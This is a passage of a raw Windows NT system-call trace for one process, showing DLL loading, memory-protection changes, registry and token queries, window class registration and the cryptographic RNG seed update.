 00803  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00804  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00805  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00806  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00807  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00808  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00809  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00810  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00811  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00812  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00813  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00814  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00815  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00816  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00817  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00818  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "OLEAUT32.DLL"}, ... 104, ) }, ... 104, ) == 0x0
 00819  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77120000), 0x0, 569344, ) == 0x0
 00820  1744   NtClose  (104, ... ) == 0x0
 00821  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00822  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00823  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00824  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00825  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00826  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00827  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00828  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00829  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00830  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00831  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00832  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00833  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00834  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00835  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00836  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00837  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00838  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00839  1744   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00840  1744   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00841  1744   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00842  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00843  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00844  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00845  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00846  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00847  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00848  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "WSOCK32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00849  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\WSOCK32.DLL"}, 1241872, ... ) }, 1241872, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00850  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WSOCK32.DLL"}, 1241872, ... ) }, 1241872, ... ) == 0x0
 00851  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WSOCK32.DLL"}, 5, 96, ... 104, {status=0x0, info=1}, ) }, 5, 96, ... 104, {status=0x0, info=1}, ) == 0x0
 00852  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 104, ... 108, ) == 0x0
 00853  1744   NtQuerySection  (108, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00854  1744   NtClose  (104, ... ) == 0x0
 00855  1744   NtMapViewOfSection  (108, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x71ad0000), 0x0, 36864, ) == 0x0
 00856  1744   NtClose  (108, ... ) == 0x0
 00857  1744   NtProtectVirtualMemory  (-1, (0x71ad1000), 52, 4, ... (0x71ad1000), 4096, 32, ) == 0x0
 00858  1744   NtProtectVirtualMemory  (-1, (0x71ad1000), 4096, 32, ... (0x71ad1000), 4096, 4, ) == 0x0
 00859  1744   NtFlushInstructionCache  (-1, 1907167232, 52, ... ) == 0x0
 00860  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00861  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00862  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00863  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\COMCTL32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00864  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00865  1744   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 3604480, 65536, ) == 0x0
 00866  1744   NtAllocateVirtualMemory  (-1, 3604480, 0, 4096, 4096, 4, ... 3604480, 4096, ) == 0x0
 00867  1744   NtAllocateVirtualMemory  (-1, 3608576, 0, 8192, 4096, 4, ... 3608576, 8192, ) == 0x0
 00868  1744   NtAllocateVirtualMemory  (-1, 3616768, 0, 4096, 4096, 4, ... 3616768, 4096, ) == 0x0
 00869  1744   NtAllocateVirtualMemory  (-1, 3620864, 0, 4096, 4096, 4, ... 3620864, 4096, ) == 0x0
 00870  1744   NtQueryDefaultUILanguage  (1240988, ...
 00871  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00872  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147481380, ) == 0x0
 00873  1744   NtQueryInformationToken  (-2147481380, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00874  1744   NtClose  (-2147481380, ... ) == 0x0
 00875  1744   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00876  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x240, 0, 0,  (0x80000000, {24, -2147481380, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00877  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x640, 0, 0,  (0x80000000, {24, -2147481380, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147481388, ) }, ... -2147481388, ) == 0x0
 00878  1744   NtQueryValueKey  (-2147481388,  (-2147481388, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00879  1744   NtClose  (-2147481388, ... ) == 0x0
 00880  1744   NtClose  (-2147481380, ... ) == 0x0
 00870  1744   NtQueryDefaultUILanguage  ... ) == 0x0
 00881  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\COMCTL32.DLL"}, 1, 96, ... 108, {status=0x0, info=1}, ) }, 1, 96, ... 108, {status=0x0, info=1}, ) == 0x0
 00882  1744   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 108, ... 104, ) == 0x0
 00883  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 2, ... (0xb70000), 0x0, 618496, ) == 0x0
 00884  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\COMCTL32.DLL.124.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00885  1744   NtQueryDefaultLocale  (1, 1239084, ... ) == 0x0
 00886  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\COMCTL32.DLL.124.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00887  1744   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1240120, 1179817, 1239844}  (24, {128, 156, new_msg, 0, 2088850039, 1240120, 1179817, 1239844} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1l\0\0\0\377\377\377\377\0\0\0\0\340q\276\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0,\360\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75499, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1l\0\0\0\377\377\377\377\0\0\0\0\340q\276\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0,\360\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 1736, 1744, 75499, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1240120, 1179817, 1239844} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1l\0\0\0\377\377\377\377\0\0\0\0\340q\276\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0,\360\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75499, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1l\0\0\0\377\377\377\377\0\0\0\0\340q\276\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0,\360\22\0\0\0\0\0" )  ) == 0x0
 00888  1744   NtClose  (108, ... ) == 0x0
 00889  1744   NtClose  (104, ... ) == 0x0
 00890  1744   NtUnmapViewOfSection  (-1, 0xb70000, ... ) == 0x0
 00891  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00892  1744   NtOpenProcess  (0x400, {24, 0, 0x0, 0, 0, 0x0}, {1736, 0}, ... 104, ) == 0x0
 00893  1744   NtQueryInformationProcess  (104, Session, 4, ... {SessionId=0,}, 0x0, ) == 0x0
 00894  1744   NtClose  (104, ... ) == 0x0
 00895  1744   NtUserRegisterWindowMessage  ( ("ShellGetDragImage", ... ) , ... ) == 0xc03a
 00896  1744   NtUserSystemParametersInfo  (104, 0, 1561338260, 0, ... ) == 0x1
 00897  1744   NtUserSystemParametersInfo  (38, 4, 1561337988, 0, ... ) == 0x1
 00898  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00899  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 104, ) == 0x0
 00900  1744   NtQueryInformationToken  (104, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00901  1744   NtClose  (104, ... ) == 0x0
 00902  1744   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 104, ) }, ... 104, ) == 0x0
 00903  1744   NtOpenProcessToken  (-1, 0x8, ... 108, ) == 0x0
 00904  1744   NtAccessCheck  (1335152, 108, 0x1, 1242180, 1242232, 56, 1242212, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00905  1744   NtClose  (108, ... ) == 0x0
 00906  1744   NtOpenKey  (0x20019, {24, 104, 0x40, 0, 0,  (0x20019, {24, 104, 0x40, 0, 0, "Control Panel\Desktop"}, ... 108, ) }, ... 108, ) == 0x0
 00907  1744   NtQueryValueKey  (108,  (108, "SmoothScroll", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00908  1744   NtClose  (108, ... ) == 0x0
 00909  1744   NtUserSystemParametersInfo  (41, 500, 1242360, 0, ... ) == 0x1
 00910  1744   NtUserSystemParametersInfo  (102, 0, 1561338280, 0, ... ) == 0x1
 00911  1744   NtClose  (104, ... ) == 0x0
 00912  1744   NtAllocateVirtualMemory  (-1, 1339392, 0, 4096, 4096, 4, ... 1339392, 4096, ) == 0x0
 00913  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00914  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c03b
 00915  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c03d
 00916  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00917  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c03f
 00918  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00919  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c041
 00920  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00921  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c043
 00922  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c045
 00923  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00924  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c047
 00925  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00926  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c049
 00927  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00928  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c04b
 00929  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00930  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c04d
 00931  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00932  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c04f
 00933  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c051
 00934  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00935  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c053
 00936  1744   NtUserFindExistingCursorIcon  (1242108, 1242124, 1242172, ... ) == 0x10011
 00937  1744   NtUserRegisterClassExWOW  (1242052, 1242120, 1242136, 1242152, 0, 384, 0, ... ) == 0x8172c055
 00938  1744   NtUserFindExistingCursorIcon  (1242108, 1242124, 1242172, ... ) == 0x10011
 00939  1744   NtUserRegisterClassExWOW  (1242052, 1242120, 1242136, 1242152, 0, 384, 0, ... ) == 0x8172c057
 00940  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00941  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c059
 00942  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10013
 00943  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c05b
 00944  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00945  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c05d
 00946  1744   NtUserFindExistingCursorIcon  (1242112, 1242128, 1242176, ... ) == 0x10011
 00947  1744   NtUserRegisterClassExWOW  (1242056, 1242124, 1242140, 1242156, 0, 384, 0, ... ) == 0x8172c05f
 00948  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPR.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00949  1744   NtCreateSemaphore  (0x1f0003, 0x0, 1, 1, ... 104, ) == 0x0
 00950  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 108, ) == 0x0
 00951  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "system\CurrentControlSet\control\NetworkProvider\HwOrder"}, ... 112, ) }, ... 112, ) == 0x0
 00952  1744   NtNotifyChangeKey  (112, 108, 0, 0, 2011455960, 4, 0, 0, 0, 1, ... ) == 0x103
 00953  1744   NtQueryInformationProcess  (-1, 28, 4, ... {process info, class 28, size 4}, 0x0, ) == 0x0
 00954  1744   NtCreateSemaphore  (0x100003, 0x0, 0, 2147483647, ... 116, ) == 0x0
 00955  1744   NtCreateSemaphore  (0x100003, 0x0, 0, 2147483647, ... 120, ) == 0x0
 00956  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OLE32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00957  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\Device\KsecDD"}, 7, 16, ... 124, {status=0x0, info=0}, ) }, 7, 16, ... 124, {status=0x0, info=0}, ) == 0x0
 00958  1744   NtDeviceIoControlFile  (124, 0, 0x0, 0x0, 0x390008,  (124, 0, 0x0, 0x0, 0x390008, "TX#\355\211@\260\217\305\3358\273\253"*\204\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 256, 256, ... *\204\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 256, 256, ...
 00959  1744   NtQuerySystemInformation  (TimeOfDay, 48, ... {system info, class 3, size 48}, 48, ) == 0x0
 00960  1744   NtQuerySystemInformation  (ProcessorTimes, 48, ... {system info, class 8, size 48}, 48, ) == 0x0
 00961  1744   NtQuerySystemInformation  (Performance, 312, ... {system info, class 2, size 312}, 312, ) == 0x0
 00962  1744   NtQuerySystemInformation  (Exception, 16, ... {system info, class 33, size 16}, 16, ) == 0x0
 00963  1744   NtQuerySystemInformation  (Lookaside, 32, ... {system info, class 45, size 32}, 32, ) == 0x0
 00964  1744   NtQuerySystemInformation  (ProcessorStatistics, 3016, ... {system info, class 23, size 0}, 0, ) == 0x0
 00965  1744   NtQuerySystemInformation  (ProcessesAndThreads, 3008, ... ) == STATUS_INFO_LENGTH_MISMATCH
 00966  1744   NtCreateKey  (0x2, {24, 0, 0x240, 0, 0,  (0x2, {24, 0, 0x240, 0, 0, "\Registry\Machine\SOFTWARE\Microsoft\Cryptography\RNG"}, 0, 0x0, 0, ... -2147481380, 2, ) }, 0, 0x0, 0, ... -2147481380, 2, ) == 0x0
 00967  1744   NtSetValueKey  (-2147481380,  (-2147481380, "Seed", 0, 3, "\15\15\202\12\320n*\58\203\3663CT\323\310Z\257z\302{\244\277\252\343iI\2538\32n\310O_EU\1\33\252\370\363\7g\4+\272v\305\2576G\256es\20\324\243\313\262\31\23\230\245\21\252\367\255[\366\252\254\204\17\236\275Aq"\7:", 80, ... ) , 0, 3,  (-2147481380, "Seed", 0, 3, "\15\15\202\12\320n*\58\203\3663CT\323\310Z\257z\302{\244\277\252\343iI\2538\32n\310O_EU\1\33\252\370\363\7g\4+\272v\305\2576G\256es\20\324\243\313\262\31\23\230\245\21\252\367\255[\366\252\254\204\17\236\275Aq"\7:", 80, ... ) \7:", 80, ... ) == 0x0
 00968  1744   NtClose  (-2147481380, ... ) == 0x0
 00958  1744   NtDeviceIoControlFile  ... {status=0x0, info=256},  ... {status=0x0, info=256}, "Z\330\200uL?\11U\231\335\327o@\354z\201\227\304\2074\363]\213C\255\357f\24370\210-h\373\254\262,\231\17\177\4\244\244y\363\17e\353\16\347>_\360yH\360\5\325\2669\263k\310\230\325\244\0\247\211\2659E\272\1\317>S7W\254\354\314|HA~\331\256{n\20\315/(\6itV\343a\362\210ZW.Z\264n[\252*\220\355Xn\0\371c@72\356|\262\367\37\205\266\324]\36\227\33/\317z\363\12\332\365\332fWh, ) , ) == 0x0
 00969  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00970  1744   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00971  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "SYSTEM\CurrentControlSet\Control\Session Manager"}, ... 128, ) }, ... 128, ) == 0x0
 00972  1744   NtQueryValueKey  (128,  (128, "CriticalSectionTimeout", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\215'\0"}, 16, ) , Partial, 144, ... TitleIdx=0, Type=4, Data= (128, "CriticalSectionTimeout", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\215'\0"}, 16, ) }, 16, ) == 0x0
 00973  1744   NtClose  (128, ... ) == 0x0
 00974  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Ole"}, ... 128, ) }, ... 128, ) == 0x0
 00975  1744   NtQueryValueKey  (128,  (128, "RWLockResourceTimeOut", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00976  1744   NtClose  (128, ... ) == 0x0
 00977  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00978  1744   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00979  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00980  1744   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00981  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Classes\Interface"}, ... 128, ) }, ... 128, ) == 0x0
 00982  1744   NtQueryValueKey  (128,  (128, "InterfaceHelperDisableAll", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00983  1744   NtQueryValueKey  (128,  (128, "InterfaceHelperDisableAllForOle32", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00984  1744   NtQueryValueKey  (128,  (128, "InterfaceHelperDisableTypeLib", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00985  1744   NtClose  (128, ... ) == 0x0
